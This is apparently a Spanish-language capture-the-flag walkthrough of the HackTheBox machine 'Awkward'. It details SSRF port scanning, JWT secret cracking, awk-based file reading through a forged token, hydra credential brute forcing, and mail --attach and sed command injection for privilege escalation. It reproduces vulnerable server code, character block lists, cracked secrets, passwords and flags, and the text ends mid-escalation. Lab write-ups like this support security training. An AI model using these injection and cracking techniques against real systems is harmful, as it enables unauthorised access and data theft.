En Awkward descubrimos codigo VueJs del sitio, tras analizar y explorar la API, explotamos una vulnerabilidad SSRF que nos dio acceso a la documentación de la API, luego, realizar lectura de archivos modificando el token JWT del sitio, con ello, obtener credenciales dentro de un backup y acceso por SSH. Tras el monitoreo de los procesos y comportamiento del sitio web, observamos que un script realizaba el envio de un email como root tras modificar un archivo csv, este ultimo es accesible por el sitio web el cual nos permitió unicamente la lectura de archivos por la existencia de un filtro, para saltarlo obtuvimos acceso al usuario www-data el cual permitia la escritura del csv que posteriormente nos permitió escalar privilegios.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.92 scan initiated Mon Nov 7 23:14:32 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.185Nmap scan report for 10.10.11.185 (10.10.11.185)Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3(Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 72:54:af:ba:f6:e2:83:59:41:b7:cd:61:1c:2f:41:8b (ECDSA)|_ 256 59:36:5b:ba:3c:78:21:e3:26:b3:7d:23:60:5a:ec:38 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 7 23:14:42 2022 -- 1 IP address (1 host up) scanned in 9.62 seconds
Tras realizar la visita a este, pregunta por credenciales de acceso.
Vue App
App
En el dominio principal, utilizando las herramientas de desarrollador de Firefox, logramos observar parte del codigo fuente de VueJS.
En el archivo de rutas observamos cuatro principales:/,/hr,/dashboard, /leave. Además de que utiliza la cookie token con valor guest. Si observamos se realiza una validación del valor del token, en caso de que no sea guest, lo redirige sin más a /dashboard dandole acceso completo a esta ruta.
import{createWebHistory,createRouter}from"vue-router";import{VueCookieNext}from'vue-cookie-next'importBasefrom'../Base.vue'importHRfrom'../HR.vue'importDashboardfrom'../Dashboard.vue'importLeavefrom'../Leave.vue'constroutes=[{path:"/",name:"base",component:Base,},{path:"/hr",name:"hr",component:HR,},{path:"/dashboard",name:"dashboard",component:Dashboard,meta:{requiresAuth:true}},{path:"/leave",name:"leave",component:Leave,meta:{requiresAuth:true}}];constrouter=createRouter({history:createWebHistory(),routes,});router.beforeEach((to,from,next)=>{if((to.name=='leave'||to.name=='dashboard')&&VueCookieNext.getCookie('token')=='guest'){//if user not logged in, redirect to login
next({name:'hr'})}elseif(to.name=='hr'&&VueCookieNext.getCookie('token')!='guest'){//if user logged in, skip past login to dashboard
next({name:'dashboard'})}else{next()}})exportdefaultrouter;
En el apartado de services/ descubrimos la dirección de una api con distintas rutas.
Al visitar la ruta /hr nos muestra un formulario para el login.
Tras intentar ingresar con usuarios no válidos se muestra un mensaje, y en la solicitud observamos que se crea la cookie token con valor guest tal y como se muestra en el codigo fuente.
Tras modificar el valor de la cookie nos redirige hacia el dashboard, tal y como se muestra en routes.js.
Entre las distintas rutas visitadas dentro del sitio se observa que realiza una solicitud a la API enviando una direccion url.
Observamos un error, menciona JWT, seguramente por parte del backend espera un token/cookie de este tipo, además el directorio del sitio.
Observamos que al crear un nuevo Leave Request nos muestra nuevamente un error de JWT.
Auth - Christopher
Con las credenciales encontradas ingresamos como christopher, esta vez nos muestra información de varios usuarios.
Además observamos que se agregó un valor de cookie jwt.
Al visitar la ruta de Leaves se muestra información relacionada a este usuario.
Asi mismo al enviar un nuevo Leave este se agrega a la lista ya existente.
Token JWT
Tras observar la estructura del token intelntamos modificar el valor del usuario a bean.hill.
Sin embargo, como se esperaba, tras enviar una solicitud nueva con este token nos muestra error en la firma, por lo que necesitamos saber el valor del SECRET para crear o modificar el token.
SSRF
Anteriormente mencionamos sobre una solicitud http realizada a una dirección de la API, al verificar dicha solicitud observamos que devuelve el contenido HTML de la dirección enviada, en este caso el localhost. Intentamos distintas formas para realizar lectura de archivos pero unicamente realiza solicitudes http.
Port scanning
Utilizamos ffuf para realizar una enumeración de puertos utilizando solicitudes http. Tras finalizar encontramos los puertos 80, 3002 y 8080 abiertos, localmente.
app.post('/api/login',(req,res)=>{const{username,password}=req.bodyconnection.query('SELECT * FROM users WHERE username = ? AND password = ?',[username,sha256(password)],function(err,results){if(err){returnres.status(401).send("Incorrect username or password")}else{if(results.length!==0){constuserForToken={username:results[0].username}constfirstName=username.split(".")[0][0].toUpperCase()+username.split(".")[0].slice(1).toLowerCase()consttoken=jwt.sign(userForToken,TOKEN_SECRET)consttoReturn={"name":firstName,"token":token}returnres.status(200).json(toReturn)}else{returnres.status(401).send("Incorrect username or password")}}});})
app.get('/api/all-leave',(req,res)=>{constuser_token=req.cookies.tokenvarauthFailed=falsevaruser=nullif(user_token){constdecodedToken=jwt.verify(user_token,TOKEN_SECRET)if(!decodedToken.username){authFailed=true}else{user=decodedToken.username}}if(authFailed){returnres.status(401).json({Error:"Invalid Token"})}if(!user){returnres.status(500).send("Invalid user")}constbad=[";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]constbadInUser=bad.some(char=>user.includes(char));if(badInUser){returnres.status(500).send("Bad character detected.")}exec("awk '/"+user+"/' /var/www/private/leave_requests.csv",{encoding:'binary',maxBuffer:51200000},(error,stdout,stderr)=>{if(stdout){returnres.status(200).send(newBuffer(stdout,'binary'));}if(error){returnres.status(500).send("Failed to retrieve leave requests")}if(stderr){returnres.status(500).send("Failed to retrieve leave requests")}})})
app.get('/api/staff-details',(req,res)=>{constuser_token=req.cookies.tokenvarauthFailed=falseif(user_token){constdecodedToken=jwt.verify(user_token,TOKEN_SECRET)if(!decodedToken.username){authFailed=true}}if(authFailed){returnres.status(401).json({Error:"Invalid Token"})}connection.query('SELECT * FROM users',function(err,results){if(err){returnres.status(500).send("Database error")}else{returnres.status(200).json(results)}});})
Reading Local Files
Tras realizar un analisis del codigo, encontramos posiblemente dos vulnerabilidades en dos rutas de la API.
Posible Command injection en /submit-leave, en esta ruta es por donde se envia un nuevo Leave, por lo que de existir alguna forma de realizar bypass sería posible inyectar comandos. Aunque esta opción no parece viable.
Posible Lectura de archivos en la ruta /all-leave, observamos el uso de awk en la creación de un comando para leer un archivo .csv, realizando un “filtro” para la lectura de valores pertenecientes a cierto usuario, este usuario es sacado del token JWT, por lo que si intentamos modificar la construcción del comando, es necesario modificar el token JWT primero.
Iniciamos buscando el SECRET del token JWT que posteriormente nos servirá para modificar el valor del usuario en el token para realizar la lectura de archivos.
Cracking JWT - John
Utilizando john crackeamos el token JWT para encontrar el secret.
➜ awkward john jwt.txt --wordlist=$ROCK --format=HMAC-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash(HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123 (?)1g 0:00:00:02 DONE (2022-12-03 17:14) 0.4739g/s 6320Kp/s 6320Kc/s 6320KC/s 123erix..1234ถุ
Use the "--show" option to display all of the cracked passwords reliably
Session completed
➜ awkward
awk + local file
Basados en la construcción del comando creamos un posible payload con la ayuda de GTFOBins.
Tras la creación y ejecución del payload localmente, logramos realizar la lectura del archivo /etc/passwd, por lo que ahora tenemos un payload para la lectura de cualquier archivo.
Modificamos el token con el payload para realiza la lectura del archivo /etc/passwd.
Tras realizar la solicitud en /all-leave logramos obtener el contenido de dicho archivo. En este archivo encontramos los usuarios: bean y christine.
En el error del token observamos la ruta completa del archivo server.js, el cual logramos obtener, las credenciales no funcionan en algun servicio conocido.
// /var/www/hat-valley.htb/server/server.js
constexpress=require('express')constbodyParser=require('body-parser')constcors=require('cors')constjwt=require('jsonwebtoken')constapp=express()constaxios=require('axios')const{exec}=require("child_process");constpath=require('path')constsha256=require('sha256')constcookieParser=require("cookie-parser")app.use(bodyParser.json())app.use(cors())app.use(cookieParser())constmysql=require('mysql')const{response}=require('express')constconnection=mysql.createConnection({host:'localhost',user:'root',password:'SQLDatabasePassword321!',database:'hatvalley',stringifyObjects:true})constport=3002constTOKEN_SECRET="123beany123"app.post('/api/login',(req,res)=>{const{username,password}=req.bodyconnection.query('SELECT * FROM users WHERE username = ? AND password = ?',[username,sha256(password)],function(err,results){if(err){returnres.status(401).send("Incorrect username or password")}else{if(results.length!==0){constuserForToken={username:results[0].username}constfirstName=username.split(".")[0][0].toUpperCase()+username.split(".")[0].slice(1).toLowerCase()consttoken=jwt.sign(userForToken,TOKEN_SECRET)consttoReturn={"name":firstName,"token":token}returnres.status(200).json(toReturn)}else{returnres.status(401).send("Incorrect username or password")}}});})app.post('/api/submit-leave',(req,res)=>{const{reason,start,end}=req.bodyconstuser_token=req.cookies.tokenvarauthFailed=falsevaruser=nullif(user_token){constdecodedToken=jwt.verify(user_token,TOKEN_SECRET)if(!decodedToken.username){authFailed=true}else{user=decodedToken.username}}if(authFailed){returnres.status(401).json({Error:"Invalid Token"})}if(!user){returnres.status(500).send("Invalid user")}constbad=[";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]//https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
constbadInUser=bad.some(char=>user.includes(char));constbadInReason=bad.some(char=>reason.includes(char));constbadInStart=bad.some(char=>start.includes(char));constbadInEnd=bad.some(char=>end.includes(char));if(badInUser||badInReason||badInStart||badInEnd){returnres.status(500).send("Bad character detected.")}constfinalEntry=user+","+reason+","+start+","+end+",Pending\r"exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`,(error,stdout,stderr)=>{if(error){returnres.status(500).send("Failed to add leave request")}returnres.status(200).send("Successfully added new leave request")})})app.get('/api/all-leave',(req,res)=>{constuser_token=req.cookies.tokenvarauthFailed=falsevaruser=nullif(user_token){constdecodedToken=jwt.verify(user_token,TOKEN_SECRET)if(!decodedToken.username){authFailed=true}else{user=decodedToken.username}}if(authFailed){returnres.status(401).json({Error:"Invalid Token"})}if(!user){returnres.status(500).send("Invalid user")}constbad=[";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]//https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
constbadInUser=bad.some(char=>user.includes(char));if(badInUser){returnres.status(500).send("Bad character detected.")}exec("awk '/"+user+"/' /var/www/private/leave_requests.csv",{encoding:'binary',maxBuffer:51200000},(error,stdout,stderr)=>{if(stdout){returnres.status(200).send(newBuffer(stdout,'binary'));}if(error){returnres.status(500).send("Failed to retrieve leave requests")}if(stderr){returnres.status(500).send("Failed to retrieve leave requests")}})})app.get('/api/store-status',async(req,res)=>{awaitaxios.get(req.query.url.substring(1,req.query.url.length-1)).then(http_res=>{returnres.status(200).send(http_res.data)}).catch(http_err=>{returnres.status(200).send(http_err.data)})})app.get('/api/staff-details',(req,res)=>{constuser_token=req.cookies.tokenvarauthFailed=falseif(user_token){constdecodedToken=jwt.verify(user_token,TOKEN_SECRET)if(!decodedToken.username){authFailed=true}}if(authFailed){returnres.status(401).json({Error:"Invalid Token"})}connection.query('SELECT * FROM users',function(err,results){if(err){returnres.status(500).send("Database error")}else{returnres.status(200).json(results)}});})app.get('/',(req,res)=>{res.sendFile(path.join(__dirname+'/readme.html'))})app.listen(port,'localhost',()=>{console.log(`Server listening on port ${port}`)connection.connect()})
Asi mismo logramos adivinar la ruta del archivo de configuración nginx del subdominio, donde observamos la ruta del archivo .htpasswd.
<?php$STORE_HOME="/var/www/store/";//check for valid hat valley store item
functioncheckValidItem($filename){if(file_exists($filename)){$first_line=file($filename)[0];if(strpos($first_line,"***Hat Valley")!==FALSE){returntrue;}}returnfalse;}//add to cart
if($_SERVER['REQUEST_METHOD']==='POST'&&$_POST['action']==='add_item'&&$_POST['item']&&$_POST['user']){$item_id=$_POST['item'];$user_id=$_POST['user'];$bad_chars=array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#");//no hacking allowed!!
foreach($bad_charsas$bad){if(strpos($item_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}foreach($bad_charsas$bad){if(strpos($user_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")){if(!file_exists("{$STORE_HOME}cart/{$user_id}")){system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");}system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");echo"Item added successfully!";}else{echo"Invalid item";}exit;}//delete from cart
if($_SERVER['REQUEST_METHOD']==='POST'&&$_POST['action']==='delete_item'&&$_POST['item']&&$_POST['user']){$item_id=$_POST['item'];$user_id=$_POST['user'];$bad_chars=array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#");//no hacking allowed!!
foreach($bad_charsas$bad){if(strpos($item_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}foreach($bad_charsas$bad){if(strpos($user_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}if(checkValidItem("{$STORE_HOME}cart/{$user_id}")){system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");echo"Item removed from cart";}else{echo"Invalid item";}exit;}//fetch from cart
if($_SERVER['REQUEST_METHOD']==='GET'&&$_GET['action']==='fetch_items'&&$_GET['user']){$html="";$dir=scandir("{$STORE_HOME}cart");$files=array_slice($dir,2);foreach($filesas$file){$user_id=substr($file,-18);if($user_id===$_GET['user']&&checkValidItem("{$STORE_HOME}cart/{$user_id}")){$product_file=fopen("{$STORE_HOME}cart/{$file}","r");$details=array();while(($line=fgets($product_file))!==false){if(str_replace(array("\r","\n"),'',$line)!=="***Hat Valley Cart***"){//don't include first line
array_push($details,str_replace(array("\r","\n"),'',$line));}}foreach($detailsas$cart_item){$cart_items=explode("&",$cart_item);for($x=0;$x<count($cart_items);$x++){$cart_items[$x]=explode("=",$cart_items[$x]);//key and value as separate values in subarray
}$html.="<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";}}}echo$html;exit;}?>
Backup
Luego de no obtener más información relevante de archivos de configuración, enumeramos los directorios de los usuarios, encontramos en el archivo .bashrc de bean un alias que realiza la ejecución de un script en bash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ~/.bashrc: executed by bash(1) for non-login shells.# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)# for examples#[.. snip ..]# some more ls aliasesaliasll='ls -alF'aliasla='ls -A'aliasl='ls -CF'# customaliasbackup_home='/bin/bash /home/bean/Documents/backup_home.sh'# Add an "alert" alias for long running commands. Use like so:# sleep 10; alertaliasalert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'#[.. snip ..]
Si observamos el contenido de este archivo, realiza un backup del directorio de bean, se observa la ruta completa del archivo comprimido.
1
2
3
4
5
6
7
8
#!/bin/bash
mkdir /home/bean/Documents/backup_tmp
cd /home/bean
tar --exclude='.npm' --exclude='.cache' --exclude='.vscode' -czvf /home/bean/Documents/backup_tmp/bean_backup.tar.gz .
date > /home/bean/Documents/backup_tmp/time.txt
cd /home/bean/Documents/backup_tmp
tar -czvf /home/bean/Documents/backup/bean_backup_final.tar.gz .
rm -r /home/bean/Documents/backup_tmp
Obtuvimos el archivo comprimido, tras descomprimirlo observamos multiples carpetas y archivos.
➜ www file backup.tar.gz
backup.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 167772320➜ www tar -xvf backup.tar.gz
gzip: stdin: unexpected end of file
./
./bean_backup.tar.gz
./time.txt
tar: Child returned status 1tar: Error is not recoverable: exiting now
➜ www ls
backup.tar.gz bean_backup.tar.gz time.txt
➜ www tar -xvf bean_backup.tar.gz
./
./Templates/
./.ssh/
./Pictures/
./.config/
[.. snip ..]./Documents/backup/
➜ www ls
backup.tar.gz bean_backup.tar.gz Desktop Documents Downloads Music Pictures Public snap Templates time.txt Videos
➜ www
Enumerando el contenido de los archivos encontramos un “ToDo” donde se muestra una posible contraseña del usuario bean.hill.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ www cat .config/xpad/content-DS1ZS1
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1- Implement checkout system
boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P
https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html
boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold% ➜ www
User - Bean
Hydra - Store HTTP
Con nombres de usuarios conocidos realizamos un ataque de fuerza bruta con hydra hacia la tienda, donde encontramos credenciales válidas.
1
2
3
4
5
6
7
8
9
10
11
12
➜ awkward hydra -L users.txt -P users.txt -f store.hat-valley.htb http-get
Hydra v9.1 (c)2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 20:47:21
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 81 login tries (l:9/p:9), ~6 tries per task
[DATA] attacking http-get://store.hat-valley.htb:80/
[80][http-get] host: store.hat-valley.htb login: admin password: 014mrbeanrules!#P
[STATUS] attack finished for store.hat-valley.htb (valid pair found)1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 20:47:22
➜ awkward
SSH
Asi mismo por SSH, observamos credenciales válidas.
1
2
3
4
5
6
7
8
9
10
11
12
➜ awkward hydra -L users.txt -P users.txt -f ssh://hat-valley.htb
Hydra v9.1 (c)2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-03 20:46:57
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 16 tasks per 1 server, overall 16 tasks, 81 login tries (l:9/p:9), ~6 tries per task
[DATA] attacking ssh://hat-valley.htb:22/
[22][ssh] host: hat-valley.htb login: bean password: 014mrbeanrules!#P
[STATUS] attack finished for hat-valley.htb (valid pair found)1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-03 20:47:03
➜ awkward
Shell
Con estas credenciales logramos obtener acceso por SSH donde realizamos la lectura de nuestra flag user.txt.
➜ awkward ssh bean@hat-valley.htb # 014mrbeanrules!#PThe authenticity of host 'hat-valley.htb (10.10.11.185)' can't be established.
ECDSA key fingerprint is SHA256:Y3WldzAxm5ypDBD7CKdfTNWGnUu04xdwdmFIXEQOupM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hat-valley.htb,10.10.11.185' (ECDSA) to the list of known hosts.
bean@hat-valley.htb's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-52-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Dec 4 02:32:53 2022 from 10.10.14.91
bean@awkward:~$ whoami;id;pwdbean
uid=1001(bean)gid=1001(bean)groups=1001(bean)/home/bean
bean@awkward:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos snap user.txt
bean@awkward:~$ cat user.txt
403ae4b3eca72cfa4425a95653790c5e
bean@awkward:~$
Privesc
Tras observar el comportamiento de scripts, binarios y solicitudes en la app web, observamos que al enviar una leave request se ejecuta un script el cual realiza un envio de mail incluyendo el nombre de usuario de la cookie en este caso christopher.jones en el subject, a christine.
Se observa que la hora de creación del “archivo mail” christine, coincide con la hora de ejecución del comando mail.
1
2
3
4
5
6
7
bean@awkward:/var/mail$ ls -lah
total 128K
drwxrwsr-x 2 root mail 4.0K Dec 4 14:26 .
drwxr-xr-x 15 root root 4.0K Oct 6 01:35 ..
-rw------- 1 christine mail 31K Dec 4 14:26 christine
-rw------- 1 root mail 80K Dec 4 14:20 root
bean@awkward:/var/mail$
Al cambiar el nombre de usuario en la cookie y realizar el envio de una leave request observamos que tambien cambia el subject.
El mail también es enviado al usuario que se encuentra en la cookie, al modificar al usuario ‘bean’ se observa un mail nuevo para este usuario. Segun parece no importa el valor que se envíe en los parametros del leave request (start, end, reason) estos son tomados como parte del cuerpo del mail asi como el nombre del usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
From root@awkward Sun Dec 4 14:57:31 2022Return-Path: <root@awkward>
X-Original-To: bean@awkward
Delivered-To: bean@awkward
Received: by awkward.localdomain (Postfix, from userid 0) id BA9ED279C; Sun, 4 Dec 2022 14:57:31 +1100 (AEDT)Subject: Leave Request: bean
To: <bean@awkward>,<christine@awkward>
User-Agent: mail (GNU Mailutils 3.14)Date: Sun, 4 Dec 2022 14:57:31 +1100
Message-Id: <20221204035731.BA9ED279C@awkward.localdomain>
From: root <root@awkward>
X-IMAPbase: 167012864014X-UID: 2Status: O
You have a new leave request to review!
bean,r,oo,t,Pending
Asumiendo que el script ( posiblemente notify.sh ) toma como valor el usuario de cierta forma desde el archivo leave_requests.csv, si observamos la estructura del archivo, este tiene como valor inicial el nombre del usuario por lo que estaría tomando este valor, de ser asi, es posible agregar o realizar command injection. Sin embargo existe un filtro para ciertos caracteres en la api (ver /api/submit-leave) por lo que seria imposible realizar esto.
Tras revisar ‘man mail’ (mailutils) observamos que es posible adjuntar y ejecutar comandos ( GTFOBins - mail ).
Suponiendo que el script toma el nombre de usuario, y al no observar el cuerpo en el comando, lo vemos de la siguiente forma, solo como una suposicion.
1
mail -s 'Leave Request: $USER ' christine < body.txt
Attach files
De tal forma que si utilizamos la flag --attach=/path/to/file.txt quedaría nuestra cookie y el comando de la siguiente forma. Junto con la dirección compleda del archivo adjunto.
? 13Return-Path: <root@awkward>
X-Original-To: bean@awkward
Delivered-To: bean@awkward
Received: by awkward.localdomain (Postfix, from userid 0) id DB6DF27BC; Sun, 4 Dec 2022 16:15:22 +1100 (AEDT)MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="1804289383-1670130922=:6081"Subject: Leave Request: '
To: <bean@awkward>,<christine@awkward>
User-Agent: mail (GNU Mailutils 3.14)
Date: Sun, 4 Dec 2022 16:15:22 +1100
Message-Id: <20221204051522.DB6DF27BC@awkward.localdomain>
From: root <root@awkward>
X-UID: 20
Status: O
--1804289383-1670130922=:6081
Content-Type: text/plain; charset=UTF-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-ID: <20221204161522.6081@awkward>
You have a new leave request to review!
' --attach=/root/root.txt bean,trt,toottt,tttttt,Pending
--1804289383-1670130922=:6081
Content-Type: application/octet-stream;name="root.txt"Content-Disposition: attachment;filename="root.txt"Content-Transfer-Encoding: base64
Content-ID: <20221204161522.6081.1@awkward>
ODE0YzdjNTNkMmE1Y2IwYTk2NmM2ZTYwMjJhOGViYTUK
--1804289383-1670130922=:6081--
? q
Saved 1 message in /home/bean/mbox
Held 12 messages in /var/mail/bean
bean@awkward:/var/mail$ echo ODE0YzdjNTNkMmE1Y2IwYTk2NmM2ZTYwMjJhOGViYTUK | base64 -d
814c7c53d2a5cb0a966c6e6022a8eba5
bean@awkward:/var/mail$
notify.sh
Realizamos la lectura de notify.sh, observamos que nuestro supuesto comando estaba un poco cerca. Vemos que utiliza inotifywait, y obtiene el ultimo valor del archivo para enviar un mail. En este script no observamos ningun filtro por lo que si que podriamos realizar command injection si logramos modificar el archivo .csv.
1
2
3
4
5
6
7
#!/bin/bash
inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv |while read;dochange=$(tail -1 /var/www/private/leave_requests.csv)name=`echo$change| awk -F, '{print $1}'`echo -e "You have a new leave request to review!\n$change"| mail -s "Leave Request: "$name christine
done
Nota: al parecer no es necesaria la comilla simple al inicio de nuestro payload (’ --attach=/path/to/file user)
Si observamos dicha carpeta que lo contiene, los unicos usuarios que tienen acceso son christine y www-data, por lo que debemos de buscar una forma para acceder a estos usuarios para modificar el .csv.
1
2
3
4
5
6
7
8
9
10
bean@awkward:/var/mail$ ls -lah /var/www/
total 28K
drwxr-xr-x 7 root root 4.0K Oct 6 01:35 .
drwxr-xr-x 15 root root 4.0K Oct 6 01:35 ..
drw-rwx--- 5 root www-data 4.0K Dec 20 16:53 .pm2
drwxr-xr-x 6 root root 4.0K Oct 6 01:35 hat-valley.htb
drwxr-xr-x 2 root root 4.0K Oct 6 01:35 html
dr-xr-x--- 2 christine www-data 4.0K Oct 6 01:35 private
drwxr-xr-x 9 root root 4.0K Oct 6 01:35 store
bean@awkward:/var/mail$
www-data -> root
Si observamos, la carpeta store contiene los archivos para la tienda que encontramos en el dominio store.hat-valley.htb.
Comunmente el usuario www-data ejecuta nginx, por lo que analizamos los archivos de este sitio. Observamos en el archivo cart_actions.php que al eliminar un producto del carrito realiza una validación sobre un archivo existente, lo que destaca es de que, utiliza la función system(), construye y ejecuta un comando a partir de datos que son tomados de la solicitud POST.
<?php//check for valid hat valley store item
functioncheckValidItem($filename){if(file_exists($filename)){$first_line=file($filename)[0];if(strpos($first_line,"***Hat Valley")!==FALSE){returntrue;}}returnfalse;}[..snip..]//delete from cart
if($_SERVER['REQUEST_METHOD']==='POST'&&$_POST['action']==='delete_item'&&$_POST['item']&&$_POST['user']){$item_id=$_POST['item'];$user_id=$_POST['user'];$bad_chars=array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#");//no hacking allowed!!
foreach($bad_charsas$bad){if(strpos($item_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}foreach($bad_charsas$bad){if(strpos($user_id,$bad)!==FALSE){echo"Bad character detected!";exit;}}if(checkValidItem("{$STORE_HOME}cart/{$user_id}")){system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");echo"Item removed from cart";}else{echo"Invalid item";}exit;}[..snip..]
Si intentamos tomar ventaja de la construcción y ejecucion, debemos de modificar el valor del parametro item_id, y, de alguna forma realizar bypass y ejecutar comandos utilizando sed. De igual forma se puede modificar el valor del user_id, en este caso unicamente realizamos una copia de un archivo existente en cart/ modificando el nombre, este ultimo se utilizaría como valor del parametro user_id ya que unicamente estaríamos modificando la solicitud POST.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php[..snip..]$item_id=$_POST['item'];[..snip..]if(checkValidItem("{$STORE_HOME}cart/{$user_id}")){system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");echo"Item removed from cart";}else{echo"Invalid item";}[..snip..]
Realizamos una prueba agregando un producto al carrito, al eliminarlo se observa que el usuario www-data (UID 33) ejecuta el comando construido.